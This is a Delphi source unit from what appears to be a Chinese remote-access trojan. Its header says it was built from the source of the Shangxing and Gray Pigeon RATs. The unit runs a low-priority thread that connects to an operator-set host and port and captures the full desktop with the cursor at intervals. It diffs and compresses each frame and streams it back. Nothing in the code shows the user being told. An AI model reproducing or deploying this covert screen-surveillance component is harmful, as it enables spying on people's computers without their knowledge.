screenthread.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

Unit ScreenThread;

Interface

Uses
Windows,SocketUnit,classes,Graphics,sysutils,gifimage,zlibex,winsys,unitTransfer;
 type
  TScreenCaptureThread = class(TThread)
  Private
    SysThread:TClientSocket;
  Protected
    Procedure Execute; Override;
  Public
    Constructor Create;
    Destructor Destroy; Override;
  End;
type
  TRGBCol = record
    Blu, Grn, Red: byte;
end;
  TRGBArray = array[0..0] of TRGBCol;
  PRGBArray = ^TRGBArray;

Var
  ScreenCapture: TScreenCaptureThread;
  thost:string;
  tport,tsh:integer;
  screenover:bool=false;
  interval:integer=10;
  Verycolored:integer;

//procedure CompressStream(AStream: TStream );
Procedure CompareStream(MyFirstStream,MySecondStream:Tmemorystream);
Function SaveBitmapToStream(Stream:Tmemorystream;HBM:HBitmap;K:Integer=0):Integer;
procedure My_GetScreenToBmp(DrawCur:Boolean;StreamName:TMemoryStream);
procedure MyCompress(AStream: TStream );
const
 EOL=#13+#10;
Implementation
 var
  ISFirScr: boolean;
   CaptureWindow:HWND;
destructor TScreenCaptureThread.Destroy;
begin
  SysThread.Free;
  ScreenOver := False;
  inherited destroy;
end;


constructor TScreenCaptureThread.Create;

begin
  inherited Create(True);
  SysThread := TClientSocket.Create();
  SysThread.Connect(Thost, Tport);
//  SysThread.SendString('SH|'+inttostr(tsh)+ENTER);
  ScreenOver := True;
  ISFirScr := True;
  FreeOnTerminate := True;
  Suspended := False;
  Priority:=tpIdle;
end;
procedure MyCompress(AStream: TStream );
var
  CompressionStream: TZCompressionStream;
  TmpStream :TMemoryStream ;
Begin
AStream.Position := 0;
try
  try
    TmpStream := TMemoryStream.Create ;
    TmpStream.LoadFromStream(AStream );
    AStream.Size := 0;
    CompressionStream := TZCompressionStream.Create(AStream,zcFastest );
    CompressionStream.CopyFrom(TmpStream, 0);
    AStream.Position := 0;
  finally
    TmpStream.Free ;
    CompressionStream.Free ;
  end;
except
end;
end;
Procedure TScreenCaptureThread.Execute;
Var
  Request:String;
  TmpStream:Tmemorystream;
  MYStream:Tmemorystream;
Begin
  TmpStream:=Tmemorystream.Create;
  MYStream:=Tmemorystream.Create;
      Request := 'CAPSCREEN';
      //   Request:=EncodeBase64(Request);
      SysThread.sendstring(Request + EOL);
  repeat
    Try
      MYStream.Clear;
      sleep(interval*20);
      My_GetScreenToBmp(true,mystream);
//      SaveBitmapToStream(MYStream,GetBitmapFromDesktop);
      MYStream.Position:=0;
      CompareStream(TmpStream,MYStream);
      MyCompress(MYStream);
      MYStream.Position:=0;
    Except
    End;
    Try
      If MYStream.Size>0 Then
      Begin
        SysThread.WriteInteger(MYStream.Size);
     //    messagebox(0,pchar(inttostr(MYStream.Size)),'',mb_ok);
        SysThread.WriteStream(MYStream);
        Request:=SysThread.Readln(EOL);
       // messagebox(0,pchar(Request),'',mb_ok);
         if ISFirScr then
         begin
         Request:=SysThread.Readln(EOL);
         ISFirScr := False;
         end;
      //  messagebox(0,pchar(Request),'',mb_ok);
        If Request<>'111' Then Break;
      End;
    Except
      Break;
    End;
    until (Terminated) or (SysThread.Connected = False);
  SysThread.Disconnect;
  MYStream.Free;
  TmpStream.Free;
end;



function GammaConv(Value: double; Gamma: double): double;
begin
  if Value <> 0 then
    Result := Exp(Ln(Value) / Gamma)
  else
    Result := 0;
end;
function CreateGrayPalette(Num: integer; Gamma: double): HPalette;
var
  lPal: PLogPalette;
  i: integer;
begin
  // Add the Grayscale palette
  lPal := AllocMem(sizeof(TLogPalette) + Num * sizeof(TPaletteEntry));
  lPal.palVersion := $300;
  lPal.palNumEntries := Num;
  for i := 0 to Num - 1 do
    with lPal.palPalEntry[i] do
    begin
      peRed := Round(255 * GammaConv(i / (Num - 1), Gamma));
      peGreen := Round(255 * GammaConv(i / (Num - 1), Gamma));
      peBlue := Round(255 * GammaConv(i / (Num - 1), Gamma));
      peFlags := 0;
    end;
  Result := CreatePalette(lPal^);
  FreeMem(lPal);
  Win32Check(longbool(Result));
end;
procedure ConvertToGray_16(bmp: TBitmap);
var
  gm: TBitmap; // Destination grayscale bitmap
  x, y: integer;
  p1: PRGBArray;
  p2: PByteArray;
  c: integer;
begin
  bmp.PixelFormat := pf24bit;
  // Convert to Grayscale
  gm := TBitmap.Create;
  gm.PixelFormat := pf4bit;
  gm.Width := bmp.Width;
  gm.Height := bmp.Height;

  gm.Palette := CreateGrayPalette(16, 1.4);

  for y := 0 to bmp.Height - 1 do
  begin
    p1 := bmp.ScanLine[y];
    p2 := gm.ScanLine[y];
    for x := 0 to bmp.Width - 1 do
      with p1^[x] do
      begin
        c := (Red * 3 + Grn * 4 + Blu) div (8 * 16);
        if (x and 1) = 1 then
        begin
          p2^[x div 2] := p2^[x div 2] and (not 15) or c;
        end
        else
        begin
          p2^[x div 2] := p2^[x div 2] and (15) or (c shl 4);
        end;
      end;
  end;

  bmp.Assign(gm);
  gm.Free;
end;

procedure bmptogif(Mybmp: Tbitmap;StreamName: TMemoryStream);
var
   GIF :   TGIFImage;
begin
  GIF   :=   TGIFImage.Create;
             try
               GIF.Assign(mybmp);
                  GIF.SaveToStream(StreamName);
              finally
                  GIF.Free;
              end;
end;
procedure My_GetScreenToBmp(DrawCur:Boolean;StreamName:TMemoryStream);
var
Mybmp:Tbitmap;
Cursorx, Cursory: integer;
dc: hdc;
Mycan: Tcanvas;
R: TRect;
DrawPos: TPoint;
MyCursor: TIcon;
hld: hwnd;
Threadld: dword;
mp: tpoint;
pIconInfo: TIconInfo;
begin
  Mybmp := Tbitmap.Create; {建立BMPMAP }
  Mycan := TCanvas.Create; {屏幕截取}
  dc := GetWindowDC(0);
  try
    Mycan.Handle := dc;
    R := Rect(0, 0,  {Screen.Width,Screen.Height}
    GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
    Mybmp.Width := R.Right;
    Mybmp.Height := R.Bottom;
    Mybmp.Canvas.CopyRect(R, Mycan, R);
  finally
    releaseDC(0, DC);
  end;
  Mycan.Handle := 0;
  Mycan.Free;
if DrawCur then //画上鼠标图象
begin
  GetCursorPos(DrawPos);
  MyCursor := TIcon.Create;
  getcursorpos(mp);
  hld := WindowFromPoint(mp);
  Threadld := GetWindowThreadProcessId(hld, nil);
  AttachThreadInput(GetCurrentThreadId, Threadld, True);
  MyCursor.Handle := Getcursor();
  AttachThreadInput(GetCurrentThreadId, threadld, False);
  GetIconInfo(Mycursor.Handle, pIconInfo);
  cursorx := DrawPos.x - round(pIconInfo.xHotspot);
  cursory := DrawPos.y - round(pIconInfo.yHotspot);
  Mybmp.Canvas.Draw(cursorx, cursory, MyCursor); //画上鼠标
  DeleteObject(pIconInfo.hbmColor);//GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象
  DeleteObject(pIconInfo.hbmMask);//否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽
  Mycursor.ReleaseHandle; //释放数组内存
  MyCursor.Free;
end;

  case Verycolored of
    1: ConvertToGray_16(mybmp); //16色
    2: mybmp.PixelFormat := pf8bit;
    3:Mybmp.PixelFormat := pf24bit; // 24色
    4: ;
  end;
    if Verycolored=5  then  bmptogif(Mybmp,StreamName)
     else
     Mybmp.SaveToStream(StreamName);
     Mybmp.Free;
end;
{Procedure GetBitmap(BmpStream:Tmemorystream);
Var
  DC,MemDC:HDC;
  bitmap,OBitmap:HBitmap;
  BitmapWidth,BitmapHeight:Integer;
  Mbitmap:TBitmap;
Begin
  DC:=GetDC(0);
  MemDC:=CreateCompatibleDC(DC);
  BitmapWidth:=GetDeviceCaps(DC,8);
  BitmapHeight:=GetDeviceCaps(DC,10);
  bitmap:=CreateCompatibleBitmap(DC,BitmapWidth,BitmapHeight);
  OBitmap:=SelectObject(MemDC,bitmap);
  BitBlt(MemDC,0,0,BitmapWidth,BitmapHeight,DC,0,0,SRCCOPY);
  SelectObject(MemDC,OBitmap);
  DeleteDC(MemDC);
  ReleaseDC(GetDesktopWindow,DC);
  Mbitmap:=TBitmap.Create;
  Mbitmap.Handle:=bitmap;
  case Verycolored of
    1: ConvertToGray_16(Mbitmap); //16色
    2: Mbitmap.PixelFormat := pf8bit;
    3:Mbitmap.PixelFormat := pf24bit; // 24色
    4: ;
  end;
  Mbitmap.SaveToStream(BmpStream);
  BmpStream.Position:=0;
  Mbitmap.Free;
End;
         }
Function GetBitmapFromDesktop:HBitmap;
Var
  DC,MemDC:HDC;
  bitmap,OBitmap:HBitmap;
  BitmapWidth,BitmapHeight:Integer;
Begin
  DC:=GetDC(GetDesktopWindow);
  MemDC:=CreateCompatibleDC(DC);
  BitmapWidth:=GetDeviceCaps(DC,8);
  BitmapHeight:=GetDeviceCaps(DC,10);
  bitmap:=CreateCompatibleBitmap(DC,BitmapWidth,BitmapHeight);
  OBitmap:=SelectObject(MemDC,bitmap);
  BitBlt(MemDC,0,0,BitmapWidth,BitmapHeight,DC,0,0,SRCCOPY);
  SelectObject(MemDC,OBitmap);
  DeleteDC(MemDC);
  ReleaseDC(GetDesktopWindow,DC);
  Result:=bitmap;
End;

Function SaveBitmapToStream(Stream:Tmemorystream;HBM:HBitmap;K:Integer=0):Integer;
Const
  BMType=$4D42;
Type
  TBitmap=Record
    BMType:Integer;
    bmWidth:Integer;
    bmHeight:Integer;
    bmWidthBytes:Integer;
    bmPlanes:byte;
    bmBitsPixel:byte;
    bmBits:Pointer;
  End;
Var
  BM:TBitmap;
  BFH:TBitmapFileHeader;
  BIP:PBitmapInfo;
  DC:HDC;
  HMem:THandle;
  Buf:Pointer;
  ColorSize,DataSize:Longint;
  BitCount:word;

  Function AlignDouble(Size:Longint):Longint;
  Begin
    Result:=(Size+31)Div 32*4;
  End;
Begin
  Result:=0;
  If GetObject(HBM,SizeOf(TBitmap),@BM)=0 Then Exit;//GetObject 返回的对象赋给对象变量
  If K=0 Then BitCount:=8;
  BitCount := 32; //表示位图最多有232种颜色。这种位图的结构与16位位图结构非常类似
  If (BitCount<>4) Then //表示位图最多有16种颜色。
  //If (BitCount <> 24) Then     //表示位图最多有224种颜色。
    ColorSize:=SizeOf(TRGBQuad)*(1 Shl BitCount)
  Else
    ColorSize:=0;
  DataSize:=AlignDouble(BM.bmWidth*BitCount)*BM.bmHeight;
  GetMem(BIP,SizeOf(TBitmapInfoHeader)+ColorSize);
  If BIP<>Nil Then Begin
    With BIP^.bmiHeader Do Begin
      biSize:=SizeOf(TBitmapInfoHeader);
      biWidth:=BM.bmWidth;
      biHeight:=BM.bmHeight;
      biPlanes:=1;
      biBitCount:=BitCount;
      biCompression:=0;
      biSizeImage:=DataSize;
      biXPelsPerMeter:=0;
      biYPelsPerMeter:=0;
      biClrUsed:=0;
      biClrImportant:=0;
    End;
    With BFH Do Begin
      bfOffBits:=SizeOf(BFH)+SizeOf(TBitmapInfo)+ColorSize;
      bfReserved1:=0;
      bfReserved2:=0;
      bfSize:=Longint(bfOffBits)+DataSize;
      bfType:=BMType;
    End;
    HMem:=GlobalAlloc(gmem_Fixed,DataSize);
    If HMem<>0 Then Begin
      Buf:=GlobalLock(HMem);
      DC:=GetDC(0);
      If GetDIBits(DC,HBM,0,BM.bmHeight,
        Buf,BIP^,dib_RGB_Colors)<>0 Then Begin
        Stream.WriteBuffer(BFH,SizeOf(BFH));
        Stream.WriteBuffer(pchar(BIP)^,SizeOf(TBitmapInfo)+ColorSize);
        Stream.WriteBuffer(Buf^,DataSize);
        Result:=1;
      End;
      ReleaseDC(0,DC);
      GlobalUnlock(HMem);
      GlobalFree(HMem);
    End;
  End;
  FreeMem(BIP,SizeOf(TBitmapInfoHeader)+ColorSize);
  DeleteObject(HBM);
End;

{Procedure CompressStream(MYStream:Tmemorystream);
Var
  ComStream:TCompressionStream;
  TmpStream:Tmemorystream;
Begin
  Try
    MYStream.Position:=0;
    TmpStream:=Tmemorystream.Create;
    TmpStream.LoadFromStream(MYStream);
    MYStream.Clear;
   ComStream:=TCompressionStream.Create(clDefault,MYStream);
    ComStream.CopyFrom(TmpStream,TmpStream.Size);
    ComStream.Free;
    TmpStream.Free;
  Except
  End;
End;  }

Procedure CompareStream(MyFirstStream,MySecondStream:Tmemorystream);
Var
  I:Integer;
  P1,P2:^Char;
Begin
  MyFirstStream.Position:=0;
  MySecondStream.Position:=0;//必须
  P1:=MyFirstStream.Memory;
  P2:=MySecondStream.Memory;
  If MySecondStream.Size=MyFirstStream.Size Then
    For I:=0 To MySecondStream.Size-1 Do Begin
      Try
        If P1^=P2^ Then P2^:='0';
        Inc(P1);
        Inc(P2);
      Except
        Break;
      End;
    End;
  MyFirstStream.Clear;
  MyFirstStream.CopyFrom(MySecondStream,0);
  MyFirstStream.Position:=0;
  MySecondStream.Position:=0;//必须
End;

////////////////////////////////////////////////////
End.